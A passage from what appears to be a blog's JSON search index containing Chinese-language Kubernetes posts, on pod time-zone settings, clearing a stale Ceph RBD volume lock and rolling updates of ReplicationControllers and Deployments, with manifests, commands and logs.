pod的manifest文件如下：\n//1404-pod-on-1604-host.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-testpod spec: replicas: 1 template: metadata: labels: run: my-testpod spec: containers: - name: my-testpod image: 1404podimage:latest imagePullPolicy: IfNotPresent volumeMounts: - name: tz-config mountPath: /etc/localtime volumes: - name: tz-config hostPath: path: /usr/share/zoneinfo/Asia/Shanghai 创建该Pod，对比Pod内时间和host时间：\n# kubectl exec my-testpod-3024383045-xqbcv date Mon Feb 20 14:58:54 CST 2017 # date Mon Feb 20 14:58:49 CST 2017 主机和Pod内的系统时间在时区上一致了。\n三、小结 上面所涉及到的manifest文件和Dockerfile文件源码在这里可以下载到，你可能需要根据你自己的k8s环境做些许改动。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com账号: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/02/20/use-host-timezone-in-kubernetes-pods/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群搭建\u003c/a\u003e起来后，一直跑得很稳定。之前的关注点更多集中在\u003ca href=\"http://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e安装\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/\"\u003e配置\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003e组件调试\u003c/a\u003e方面，一些细枝末节被忽略了。Pod中时区的设置就是其中之一。今天腾出功夫打算解决一下这个问题。\u003c/p\u003e\n\u003ch3 id=\"一问题现象\"\u003e一、问题现象\u003c/h3\u003e\n\u003cp\u003e在我的\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes 1.3.7集群\u003c/a\u003e的Master Node上，我们执行：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e# date\nMon Feb 20 11:49:20 CST 2017\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e之后，在该Node上随意找到一个Pod中的Container，通过docker exec切入到容器内执行：\u003c/p\u003e","title":"Kubernetes集群Pod使用Host的本地时区设置"},{"content":"所有涉及到存储的地方都是极易出现“坑”的地方，Kubernetes也不例外。\n一、问题起因 问题始于昨天升级一个stateful service的操作。该service下的Pod挂载了使用ceph RBD提供的一个Persistent Volume。该Pod是用普通deployment部署的，并没有使用处于alpha状态的PetSet。改动仅仅是image的版本发生了变化。我执行的操作如下：\n# kubectl apply -f index-api.yaml 操作是成功的。但命令执行后，再次查看index-api这个Pod的状态，该Pod的状态长期处于：“ContainerCreating”，显然Pod没能重启成功。\n进一步通过describe pod 检视events，发现如下Warning:\nevents: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 2m 2m 1 {default-scheduler } Normal Scheduled Successfully assigned index-api-3362878852-9tm9j to 10.46.181.146 11s 11s 1 {kubelet 10.46.181.146} Warning FailedMount Unable to mount volumes for pod \u0026quot;index-api-3362878852-9tm9j_default(ad89c829-f40b-11e6-ad11-00163e1625a9)\u0026quot;: timeout expired waiting for volumes to attach/mount for pod \u0026quot;index-api-3362878852-9tm9j\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[index-api-pv] 11s 11s 1 {kubelet 10.46.181.146} Warning FailedSync Error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \u0026quot;index-api-3362878852-9tm9j\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[index-api-pv] index-api这个Pod尝试挂载index-api-pv这个pv超时，并失败。\n二、问题探索和临时解决 首先查看问题pod所在Node(10.46.181.146)上的kubelet日志，kubelet负责与本地的docker engine以及其他本地服务交互：\n... ... I0216 13:59:27.380007 1159 reconciler.go:294] MountVolume operation started for volume \u0026quot;kubernetes.io/rbd/7e6c415a-f40c-11e6-ad11-00163e1625a9-index-api-pv\u0026quot; (spec.Name: \u0026quot;index-api-pv\u0026quot;) to pod \u0026quot;7e6c415a-f40c-11e6-ad11-00163e1625a9\u0026quot; (UID: \u0026quot;7e6c415a-f40c-11e6-ad11-00163e1625a9\u0026quot;). E0216 13:59:27.393946 1159 disk_manager.go:56] failed to attach disk E0216 13:59:27.394013 1159 rbd.go:228] rbd: failed to setup mount /var/lib/kubelet/pods/7e6c415a-f40c-11e6-ad11-00163e1625a9/volumes/kubernetes.io~rbd/index-api-pv rbd: image index-api-image is locked by other nodes E0216 13:59:27.394121 1159 nestedpendingoperations.go:254] Operation for \u0026quot;\\\u0026quot;kubernetes.io/rbd/7e6c415a-f40c-11e6-ad11-00163e1625a9-index-api-pv\\\u0026quot; (\\\u0026quot;7e6c415a-f40c-11e6-ad11-00163e1625a9\\\u0026quot;)\u0026quot; failed. No retries permitted until 2017-02-16 14:01:27.394076217 +0800 CST (durationBeforeRetry 2m0s). Error: MountVolume.SetUp failed for volume \u0026quot;kubernetes.io/rbd/7e6c415a-f40c-11e6-ad11-00163e1625a9-index-api-pv\u0026quot; (spec.Name: \u0026quot;index-api-pv\u0026quot;) pod \u0026quot;7e6c415a-f40c-11e6-ad11-00163e1625a9\u0026quot; (UID: \u0026quot;7e6c415a-f40c-11e6-ad11-00163e1625a9\u0026quot;) with: rbd: image index-api-image is locked by other nodes E0216 13:59:32.695919 1159 kubelet.go:1958] Unable to mount volumes for pod \u0026quot;index-api-3362878852-pzxm8_default(7e6c415a-f40c-11e6-ad11-00163e1625a9)\u0026quot;: timeout expired waiting for volumes to attach/mount for pod \u0026quot;index-api-3362878852-pzxm8\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[index-api-pv]; skipping pod E0216 13:59:32.696223 1159 pod_workers.go:183] Error syncing pod 7e6c415a-f40c-11e6-ad11-00163e1625a9, skipping: timeout expired waiting for volumes to attach/mount for pod \u0026quot;index-api-3362878852-pzxm8\u0026quot;/\u0026quot;default\u0026quot;. list of unattached/unmounted volumes=[index-api-pv] ... ... 通过kubelet的日志我们可以看出调度到10.46.181.146这个Node上的index-api pod之所以无法挂载ceph RBD volume，是因为index-api-image已经被其他node锁住。\n我的这个小集群一共就只有两个Node(10.46.181.146和10.47.136.60)，那锁住index-api-image的就是10.47.136.60这个node了。我们查看一下平台上pv和pvc的状态：\n# kubectl get pv NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE ceph-pv 1Gi RWO Recycle Bound default/ceph-claim 101d index-api-pv 2Gi RWO Recycle Bound default/index-api-pvc 49d # kubectl get pvc NAME STATUS VOLUME CAPACITY ACCESSMODES AGE ceph-claim Bound ceph-pv 1Gi RWO 101d index-api-pvc Bound index-api-pv 2Gi RWO 49d index-api-pv和index-api-pvc的状态都是正常的，从这里看不出lock的情况。无奈我只能从ceph这个层面去查问题了！\nindex-api-image在mioss pool下面，我们利用ceph的rbd cli工具查看一下其状态：\n# rbd ls mioss index-api-image # rbd info mioss/index-api-image rbd image 'index-api-image': size 2048 MB in 512 objects order 22 (4096 kB objects) block_name_prefix: rb.0.5e36.1befd79f format: 1 # rbd disk-usage mioss/index-api-image warning: fast-diff map is not enabled for index-api-image. operation may be slow. NAME PROVISIONED USED index-api-image 2048M 168M index-api-image状态ok。\n如果你在执行rbd时，出现下面错误：\n# rbd rbd: error while loading shared libraries: /usr/lib/x86_64-linux-gnu/libicudata.so.52: invalid ELF header 可以通过重装libicu52这个包(这里演示的是基于ubuntu 14.04 amd64的版本)来解决：\n# wget -c http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu52_52.1-3ubuntu0.4_amd64.deb # dpkg -i ./libicu52_52.1-3ubuntu0.4_amd64.deb 回归正题！\n经查manual发现，rbd提供了lock相关子命令可以查看image的lock list：\n# rbd lock list mioss/index-api-image There is 1 exclusive lock on this image. Locker ID Address client.24128 kubelet_lock_magic_node1 10.47.136.60:0/1864102866 真凶找到！我们看到位于10.47.136.60 node上有一个locker将该image锁住。我尝试重启10.47.136.60上的kubelet，发现重启后，lock依旧。\n怎么取消这个锁呢？rbd不光提供了lock list命令，还提供了lock remove命令：\nlock remove (lock rm) Release a lock on an image usage: lock remove image-spec lock-id locker Release a lock on an image. The lock id and locker are as output by lock ls. 开始解锁：\n# rbd lock remove mioss/index-api-image kubelet_lock_magic_node1 client.24128 解锁成功后，delete掉那个处于ContainerCreating的Pod，然后index-api pod就启动成功了：\nNAMESPACE NAME READY STATUS RESTARTS AGE IP NODE LABELS default index-api-3362878852-m6k0j 1/1 Running 0 10s 172.16.57.7 10.46.181.146 app=index-api,pod-template-hash=3362878852 三、问题简要分析 从问题现象来看，起因是由于index-api pod被从10.47.136.60这个node调度到 10.46.181.146这个node上而导致的。但是为什么image的lock没有释放的确怪异，因为我的index-api是捕捉pod退回信号，支持优雅退出的：\n# kubectl delete -f index-api-deployment.yaml deployment \u0026quot;index-api\u0026quot; deleted 2017/02/16 08:41:27 1 Received SIGTERM. 2017/02/16 08:41:27 1 [::]:30080 Listener closed. 2017/02/16 08:41:27 1 Waiting for connections to finish... 2017/02/16 08:41:27 [C] [asm_amd64.s:2086] ListenAndServe: accept tcp [::]:30080: use of closed network connection 1 2017/02/16 08:41:27 [I] [engine.go:109] engine[mioss1(online)]: mioss1-29583fe44a637eabe4f865bc59bde44fa307e38e exit! 2017/02/16 08:41:27 [I] [engine.go:109] engine[wx81f621e486239f6b(online)]: wx81f621e486239f6b-58b5643015a5f337931aaa4a5f4db1b35ac784bb exit! 2017/02/16 08:41:27 [I] [engine.go:109] engine[wxa4d49c280cefd38c(online)]: wxa4d49c280cefd38c-f38959408617862ed69dab9ad04403cee9564353 exit! 2017/02/16 08:41:27 [D] [enginemgr.go:310] Search Engines exit ok 因此，初步猜测：这里很可能是kubernetes在监视和处理pod退出时，对于存储插件的状态处理存在一些bug，至于具体什么问题，还不得而知。\n四、小结 对于像index-api service这样的stateful服务来说，使用普通deployment显然不能满足要求。Kubernetes在[1.3.0, 1.5.0)版本区间提供了处于alpha状态的PetSet controller，在1.5.0版本后，PetSet被改名为StatefulSet。与普通Pod不同，PetSet下面的每个Pet都有严格的身份属性，并根据身份属性绑定一定资源，并且不会像普通Pod那样被Kubernetes随意调度到任意Node上。\n像index-api-service索引服务这样的一个实例绑定一个cephRBD pv的应用，特别适合使用PetSet或StatefulSet，不过我这里尚未测试用上PetSet后是否还会出现无法挂载rbd卷的问题。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com账号: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/02/17/temp-fix-for-pod-unable-mount-cephrbd-volume/","summary":"\u003cp\u003e所有涉及到存储的地方都是极易出现“坑”的地方，\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e也不例外。\u003c/p\u003e\n\u003ch3 id=\"一问题起因\"\u003e一、问题起因\u003c/h3\u003e\n\u003cp\u003e问题始于昨天升级一个stateful service的操作。该service下的Pod挂载了\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e使用ceph RBD提供的一个Persistent Volume\u003c/a\u003e。该Pod是用普通\u003ca href=\"http://tonybai.com/2017/02/09/rolling-update-for-services-in-kubernetes-cluster/\"\u003edeployment\u003c/a\u003e部署的，并没有使用处于alpha状态的\u003ca href=\"https://kubernetes.io/docs/user-guide/petset/\"\u003ePetSet\u003c/a\u003e。改动仅仅是image的版本发生了变化。我执行的操作如下：\u003c/p\u003e","title":"Kubernetes Pod无法挂载ceph RBD存储卷的临时解决方法"},{"content":"在移动互联网时代，消费者的消费行为已经“全天候化”，为此，商家的业务系统也要保持7×24小时不间断地提供服务以满足消费者的需求。很难想像如今还会有以“中断业务”为前提的服务系统更新升级。如果微信官方发布公告说：每周六晚23:00~次日凌晨2:00进行例行系统升级，不能提供服务，作为用户的你会怎么想、怎么做呢？因此，各个平台在最初设计时就要考虑到服务的更新升级问题，部署在Kubernetes集群中的Service也不例外。\n一、预备知识 1、滚动更新Rolling-update 传统的升级更新，是先将服务全部下线，业务停止后再更新版本和配置，然后重新启动并提供服务。这样的模式已经完全不能满足“时代的需要”了。在并发化、高可用系统普及的今天，服务的升级更新至少要做到“业务不中断”。而滚动更新(Rolling-update)恰是满足这一需求的一种系统更新升级方案。\n简单来说，滚动更新就是针对多实例服务的一种不中断服务的更新升级方式。一般情况，对于多实例服务，滚动更新采用对各个实例逐个进行单独更新而非同一时刻对所有实例进行全部更新的方式。“滚动更新”的先进之处在于“滚动”这个概念的引入，笔者觉得它至少有以下两点含义：\na) “滚动”给人一种“圆”的映像，表意：持续，不中断。“滚动”的理念是一种趋势，我们常见的“滚动发布”、“持续交付”都是“滚动”理念的应用。与传统的大版本周期性发布/更新相比，”滚动”可以让用户更快、更及时地使用上新Feature，缩短市场反馈周期，同时滚动式的发布和更新又会将对用户体验的影响降到最小化。\nb) “滚动”可向前，也可向后。我们可以在更新过程中及时发现“更新”存在的问题，并“向后滚动”，实现更新的回退，可以最大程度上降低每次更新升级的风险。\n对于在Kubernetes集群部署的Service来说，Rolling update就是指一次仅更新一个Pod，并逐个进行更新，而不是在同一时刻将该Service下面的所有Pod shutdown，避免将业务中断的尴尬。\n2、Service、Deployment、Replica Set、Replication Controllers和Pod之间的关系 对于我们要部署的Application来说，一般是由多个抽象的Service组成。在Kubernetes中，一个Service通过label selector match出一个Pods集合，这些Pods作为Service的endpoint，是真正承载业务的实体。而Pod在集群内的部署、调度、副本数保持则是通过Deployment或ReplicationControllers这些高level的抽象来管理的，下面是一幅示意图：\n新版本的Kubernetes推荐用Deployment替代ReplicationController，在Deployment这个概念下在保持Pod副本数上实际发挥作用的是隐藏在背后的Replica Set。\n因此，我们可以看到Kubernetes上Service的rolling update实质上是对Service所match出来的Pod集合的Rolling update，而控制Pod部署、调度和副本调度的却又恰恰是Deployment和replication controller，因此后两者才是kubernetes service rolling update真正要面对的实体。\n二、kubectl rolling-update子命令 kubernetes在kubectl cli工具中仅提供了对Replication Controller的rolling-update支持，通过kubectl -help，我们可以查看到下面的命令usage描述：\n# kubectl -help ... ... Deploy Commands: rollout Manage a deployment rollout rolling-update Perform a rolling update of the given ReplicationController scale Set a new size for a Deployment, ReplicaSet, Replication Controller, or Job autoscale Auto-scale a Deployment, ReplicaSet, or ReplicationController ... ... # kubectl help rolling-update ... ... Usage: kubectl rolling-update OLD_CONTROLLER_NAME ([NEW_CONTROLLER_NAME] --image=NEW_CONTAINER_IMAGE | -f NEW_CONTROLLER_SPEC) [options] ... ... 我们现在来看一个例子，看一下kubectl rolling-update是如何对service下的Pods进行滚动更新的。我们的kubernetes集群有两个版本的Nginx：\n# docker images|grep nginx nginx 1.11.9 cc1b61406712 2 weeks ago 181.8 MB nginx 1.10.1 bf2b4c2d7bf5 4 months ago 180.7 MB 在例子中我们将Service的Pod从nginx 1.10.1版本滚动升级到1.11.9版本。\n我们的rc-demo-v0.1.yaml文件内容如下：\napiVersion: v1 kind: ReplicationController metadata: name: rc-demo-nginx-v0.1 spec: replicas: 4 selector: app: rc-demo-nginx ver: v0.1 template: metadata: labels: app: rc-demo-nginx ver: v0.1 spec: containers: - name: rc-demo-nginx image: nginx:1.10.1 ports: - containerPort: 80 protocol: TCP env: - name: RC_DEMO_VER value: v0.1 创建这个replication controller：\n# kubectl create -f rc-demo-v0.1.yaml replicationcontroller \u0026quot;rc-demo-nginx-v0.1\u0026quot; created # kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE rc-demo-nginx-v0.1-2p7v0 1/1 Running 0 1m 172.30.192.9 iz2ze39jeyizepdxhwqci6z rc-demo-nginx-v0.1-9pk3t 1/1 Running 0 1m 172.30.192.8 iz2ze39jeyizepdxhwqci6z rc-demo-nginx-v0.1-hm6b9 1/1 Running 0 1m 172.30.0.9 iz25beglnhtz rc-demo-nginx-v0.1-vbxpl 1/1 Running 0 1m 172.30.0.10 iz25beglnhtz Service manifest文件rc-demo-svc.yaml的内容如下：\napiVersion: v1 kind: Service metadata: name: rc-demo-svc spec: ports: - port: 80 protocol: TCP selector: app: rc-demo-nginx 创建这个service：\n# kubectl create -f rc-demo-svc.yaml service \u0026quot;rc-demo-svc\u0026quot; created # kubectl describe svc/rc-demo-svc Name: rc-demo-svc Namespace: default Labels: \u0026lt;none\u0026gt; Selector: app=rc-demo-nginx Type: ClusterIP IP: 10.96.172.246 Port: \u0026lt;unset\u0026gt; 80/TCP Endpoints: 172.30.0.10:80,172.30.0.9:80,172.30.192.8:80 + 1 more... Session Affinity: None No events. 可以看到之前replication controller创建的4个Pod都被置于rc-demo-svc这个service的下面了，我们来访问一下该服务：\n# curl -I http://10.96.172.246:80 HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Wed, 08 Feb 2017 08:45:19 GMT Content-Type: text/html Content-Length: 612 Last-Modified: Tue, 31 May 2016 14:17:02 GMT Connection: keep-alive ETag: \u0026quot;574d9cde-264\u0026quot; Accept-Ranges: bytes # kubectl exec rc-demo-nginx-v0.1-2p7v0 env ... ... RC_DEMO_VER=v0.1 ... ... 通过Response Header中的Server字段，我们可以看到当前Service pods中的nginx版本为1.10.1；通过打印Pod中环境变量，得到RC_DEMO_VER=v0.1。\n接下来，我们来rolling-update rc-demo-nginx-v0.1这个rc，我们的新rc manifest文件rc-demo-v0.2.yaml内容如下：\napiVersion: v1 kind: ReplicationController metadata: name: rc-demo-nginx-v0.2 spec: replicas: 4 selector: app: rc-demo-nginx ver: v0.2 template: metadata: labels: app: rc-demo-nginx ver: v0.2 spec: containers: - name: rc-demo-nginx image: nginx:1.11.9 ports: - containerPort: 80 protocol: TCP env: - name: RC_DEMO_VER value: v0.2 rc-demo-new.yaml与rc-demo-old.yaml有几点不同：rc的name、image的版本以及RC_DEMO_VER这个环境变量的值：\n# diff rc-demo-v0.2.yaml rc-demo-v0.1.yaml 4c4 \u0026lt; name: rc-demo-nginx-v0.2 --- \u0026gt; name: rc-demo-nginx-v0.1 9c9 \u0026lt; ver: v0.2 --- \u0026gt; ver: v0.1 14c14 \u0026lt; ver: v0.2 --- \u0026gt; ver: v0.1 18c18 \u0026lt; image: nginx:1.11.9 --- \u0026gt; image: nginx:1.10.1 24c24 \u0026lt; value: v0.2 --- \u0026gt; value: v0.1 我们开始rolling-update，为了便于跟踪update过程，这里将update-period设为10s，即每隔10s更新一个Pod：\n# kubectl rolling-update rc-demo-nginx-v0.1 --update-period=10s -f rc-demo-v0.2.yaml Created rc-demo-nginx-v0.2 Scaling up rc-demo-nginx-v0.2 from 0 to 4, scaling down rc-demo-nginx-v0.1 from 4 to 0 (keep 4 pods available, don't exceed 5 pods) Scaling rc-demo-nginx-v0.2 up to 1 Scaling rc-demo-nginx-v0.1 down to 3 Scaling rc-demo-nginx-v0.2 up to 2 Scaling rc-demo-nginx-v0.1 down to 2 Scaling rc-demo-nginx-v0.2 up to 3 Scaling rc-demo-nginx-v0.1 down to 1 Scaling rc-demo-nginx-v0.2 up to 4 Scaling rc-demo-nginx-v0.1 down to 0 Update succeeded. Deleting rc-demo-nginx-v0.1 replicationcontroller \u0026quot;rc-demo-nginx-v0.1\u0026quot; rolling updated to \u0026quot;rc-demo-nginx-v0.2\u0026quot; 从日志可以看出：kubectl rolling-update逐渐增加 rc-demo-nginx-v0.2的scale并同时逐渐减小 rc-demo-nginx-v0.1的scale值直至减到0。\n在升级过程中，我们不断访问rc-demo-svc，可以看到新旧Pod版本共存的状态，服务并未中断：\n# curl -I http://10.96.172.246:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... # curl -I http://10.96.172.246:80 HTTP/1.1 200 OK Server: nginx/1.11.9 ... ... # curl -I http://10.96.172.246:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... 更新后的一些状态信息：\n# kubectl get rc NAME DESIRED CURRENT READY AGE rc-demo-nginx-v0.2 4 4 4 5m # kubectl get pods NAME READY STATUS RESTARTS AGE rc-demo-nginx-v0.2-25b15 1/1 Running 0 5m rc-demo-nginx-v0.2-3jlpk 1/1 Running 0 5m rc-demo-nginx-v0.2-lcnf9 1/1 Running 0 6m rc-demo-nginx-v0.2-s7pkc 1/1 Running 0 5m # kubectl exec rc-demo-nginx-v0.2-25b15 env ... ... RC_DEMO_VER=v0.2 ... ... 官方文档说kubectl rolling-update是由client side实现的rolling-update，这是因为roll-update的逻辑都是由kubectl发出N条命令到APIServer完成的，在kubectl的代码中我们可以看到这点：\n//https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/rollingupdate.go ... ... func RunRollingUpdate(f cmdutil.Factory, out io.Writer, cmd *cobra.Command, args []string, options *resource.FilenameOptions) error { ... ... err = updater.Update(config) if err != nil { return err } ... ... } //https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/rolling_updater.go func (r *RollingUpdater) Update(config *RollingUpdaterConfig) error { ... ... // Scale newRc and oldRc until newRc has the desired number of replicas and // oldRc has 0 replicas. progressDeadline := time.Now().UnixNano() + config.Timeout.Nanoseconds() for newRc.Spec.Replicas != desired || oldRc.Spec.Replicas != 0 { // Store the existing replica counts for progress timeout tracking. newReplicas := newRc.Spec.Replicas oldReplicas := oldRc.Spec.Replicas // Scale up as much as possible. scaledRc, err := r.scaleUp(newRc, oldRc, desired, maxSurge, maxUnavailable, scaleRetryParams, config) if err != nil { return err } newRc = scaledRc ... ... } 在rolling_updater.go中Update方法使用一个for循环完成了逐步减少old rc的replicas和增加new rc的replicas的工作，直到new rc到达期望值，old rc的replicas变为0。\n通过kubectl rolling-update实现的滚动更新有很多不足：\n- 由kubectl实现，很可能因为网络原因导致update中断；\n- 需要创建一个新的rc，名字与要更新的rc不能一样；虽然这个问题不大，但实施起来也蛮别扭的；\n- 回滚还需要执行rolling-update，只是用的老版本的rc manifest文件；\n- service执行的rolling-update在集群中没有记录，后续无法跟踪rolling-update历史。\n不过，由于Replication Controller已被Deployment这个抽象概念所逐渐代替，下面我们来考虑如何实现Deployment的滚动更新以及deployment滚动更新的优势。\n三、Deployment的rolling-update kubernetes Deployment是一个更高级别的抽象，就像文章开头那幅示意图那样，Deployment会创建一个Replica Set，用来保证Deployment中Pod的副本数。由于kubectl rolling-update仅支持replication controllers，因此要想rolling-updata deployment中的Pod，你需要修改Deployment自己的manifest文件并应用。这个修改会创建一个新的Replica Set，在scale up这个Replica Set的Pod数的同时，减少原先的Replica Set的Pod数，直至zero。而这一切都发生在Server端，并不需要kubectl参与。\n我们同样来看一个例子。我们建立第一个版本的deployment manifest文件：deployment-demo-v0.1.yaml。\napiVersion: extensions/v1beta1 kind: Deployment metadata: name: deployment-demo spec: replicas: 4 selector: matchLabels: app: deployment-demo-nginx minReadySeconds: 10 template: metadata: labels: app: deployment-demo-nginx version: v0.1 spec: containers: - name: deployment-demo image: nginx:1.10.1 ports: - containerPort: 80 protocol: TCP env: - name: DEPLOYMENT_DEMO_VER value: v0.1 创建该deployment：\n# kubectl create -f deployment-demo-v0.1.yaml --record deployment \u0026quot;deployment-demo\u0026quot; created # kubectl get deployments NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE deployment-demo 4 4 4 0 10s # kubectl get rs NAME DESIRED CURRENT READY AGE deployment-demo-1818355944 4 4 4 13s # kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE deployment-demo-1818355944-78spp 1/1 Running 0 24s 172.30.0.10 iz25beglnhtz deployment-demo-1818355944-7wvxk 1/1 Running 0 24s 172.30.0.9 iz25beglnhtz deployment-demo-1818355944-hb8tt 1/1 Running 0 24s 172.30.192.9 iz2ze39jeyizepdxhwqci6z deployment-demo-1818355944-jtxs2 1/1 Running 0 24s 172.30.192.8 iz2ze39jeyizepdxhwqci6z # kubectl exec deployment-demo-1818355944-78spp env ... ... DEPLOYMENT_DEMO_VER=v0.1 ... ... deployment-demo创建了ReplicaSet：deployment-demo-1818355944，用于保证Pod的副本数。\n我们再来创建使用了该deployment中Pods的Service：\n# kubectl create -f deployment-demo-svc.yaml service \u0026quot;deployment-demo-svc\u0026quot; created # kubectl get service NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE deployment-demo-svc 10.109.173.225 \u0026lt;none\u0026gt; 80/TCP 5s kubernetes 10.96.0.1 \u0026lt;none\u0026gt; 443/TCP 42d # kubectl describe service/deployment-demo-svc Name: deployment-demo-svc Namespace: default Labels: \u0026lt;none\u0026gt; Selector: app=deployment-demo-nginx Type: ClusterIP IP: 10.109.173.225 Port: \u0026lt;unset\u0026gt; 80/TCP Endpoints: 172.30.0.10:80,172.30.0.9:80,172.30.192.8:80 + 1 more... Session Affinity: None No events. # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... 好了，我们看到该service下有四个pods，Service提供的服务也运行正常。\n接下来，我们对该Service进行更新。为了方便说明，我们建立了deployment-demo-v0.2.yaml文件，其实你也大可不必另创建文件，直接再上面的deployment-demo-v0.1.yaml文件中修改也行：\n# diff deployment-demo-v0.2.yaml deployment-demo-v0.1.yaml 15c15 \u0026lt; version: v0.2 --- \u0026gt; version: v0.1 19c19 \u0026lt; image: nginx:1.11.9 --- \u0026gt; image: nginx:1.10.1 25c25 \u0026lt; value: v0.2 --- \u0026gt; value: v0.1 我们用deployment-demo-v0.2.yaml文件来更新之前创建的deployments中的Pods：\n# kubectl apply -f deployment-demo-v0.2.yaml --record deployment \u0026quot;deployment-demo\u0026quot; configured apply命令是瞬间接收到apiserver返回的Response并结束的。但deployment的rolling-update过程还在进行：\n# kubectl describe deployment deployment-demo Name: deployment-demo ... ... Replicas: 2 updated | 4 total | 3 available | 2 unavailable StrategyType: RollingUpdate MinReadySeconds: 10 RollingUpdateStrategy: 1 max unavailable, 1 max surge Conditions: Type Status Reason ---- ------ ------ Available True MinimumReplicasAvailable OldReplicaSets: deployment-demo-1818355944 (3/3 replicas created) NewReplicaSet: deployment-demo-2775967987 (2/2 replicas created) Events: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 12m 12m 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set deployment-demo-1818355944 to 4 11s 11s 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set deployment-demo-2775967987 to 1 11s 11s 1 {deployment-controller } Normal ScalingReplicaSet Scaled down replica set deployment-demo-1818355944 to 3 11s 11s 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set deployment-demo-2775967987 to 2 # kubectl get pods NAME READY STATUS RESTARTS AGE deployment-demo-1818355944-78spp 1/1 Terminating 0 12m deployment-demo-1818355944-hb8tt 1/1 Terminating 0 12m deployment-demo-1818355944-jtxs2 1/1 Running 0 12m deployment-demo-2775967987-5s9qx 0/1 ContainerCreating 0 0s deployment-demo-2775967987-lf5gw 1/1 Running 0 12s deployment-demo-2775967987-lxbx8 1/1 Running 0 12s deployment-demo-2775967987-pr0hl 0/1 ContainerCreating 0 0s # kubectl get rs NAME DESIRED CURRENT READY AGE deployment-demo-1818355944 1 1 1 12m deployment-demo-2775967987 4 4 4 17s 我们可以看到这个update过程中ReplicaSet的变化，同时这个过程中服务并未中断，只是新旧版本短暂地交错提供服务：\n# curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.11.9 ... ... # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... 最终所有Pod被替换为了v0.2版本：\nkubectl exec deployment-demo-2775967987-5s9qx env ... ... DEPLOYMENT_DEMO_VER=v0.2 ... ... # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.11.9 ... ... 我们发现deployment的create和apply命令都带有一个–record参数，这是告诉apiserver记录update的历史。通过kubectl rollout history可以查看deployment的update history：\n# kubectl rollout history deployment deployment-demo deployments \u0026quot;deployment-demo\u0026quot; REVISION CHANGE-CAUSE 1 kubectl create -f deployment-demo-v0.1.yaml --record 2 kubectl apply -f deployment-demo-v0.2.yaml --record 如果没有加“–record”，那么你得到的历史将会类似这样的结果：\n# kubectl rollout history deployment deployment-demo deployments \u0026quot;deployment-demo\u0026quot; REVISION CHANGE-CAUSE 1 \u0026lt;none\u0026gt; 同时，我们会看到old ReplicaSet并未被删除：\n# kubectl get rs NAME DESIRED CURRENT READY AGE deployment-demo-1818355944 0 0 0 25m deployment-demo-2775967987 4 4 4 13m 这些信息都存储在server端，方便回退！\nDeployment下Pod的回退操作异常简单，通过rollout undo即可完成。rollout undo会将Deployment回退到record中的上一个revision（见上面rollout history的输出中有revision列）：\n# kubectl rollout undo deployment deployment-demo deployment \u0026quot;deployment-demo\u0026quot; rolled back rs的状态又颠倒回来：\n# kubectl get rs NAME DESIRED CURRENT READY AGE deployment-demo-1818355944 4 4 4 28m deployment-demo-2775967987 0 0 0 15m 查看update历史:\n# kubectl rollout history deployment deployment-demo deployments \u0026quot;deployment-demo\u0026quot; REVISION CHANGE-CAUSE 2 kubectl apply -f deployment-demo-v0.2.yaml --record 3 kubectl create -f deployment-demo-v0.1.yaml --record 可以看到history中最多保存了两个revision记录（这个Revision保存的数量应该可以设置）。\n四、通过API实现的deployment rolling-update 我们的最终目标是通过API来实现service的rolling-update。Kubernetes提供了针对deployment的Restful API，包括：create、read、replace、delete、patch、rollback等。从这些API的字面意义上看，patch和rollback很可能符合我们的需要，我们需要验证一下。\n我们将deployment置为v0.1版本，即：image: nginx:1.10.1，DEPLOYMENT_DEMO_VER=v0.1。然后我们尝试通过patch API将deployment升级为v0.2版本，由于patch API仅接收json格式的body内容，我们将 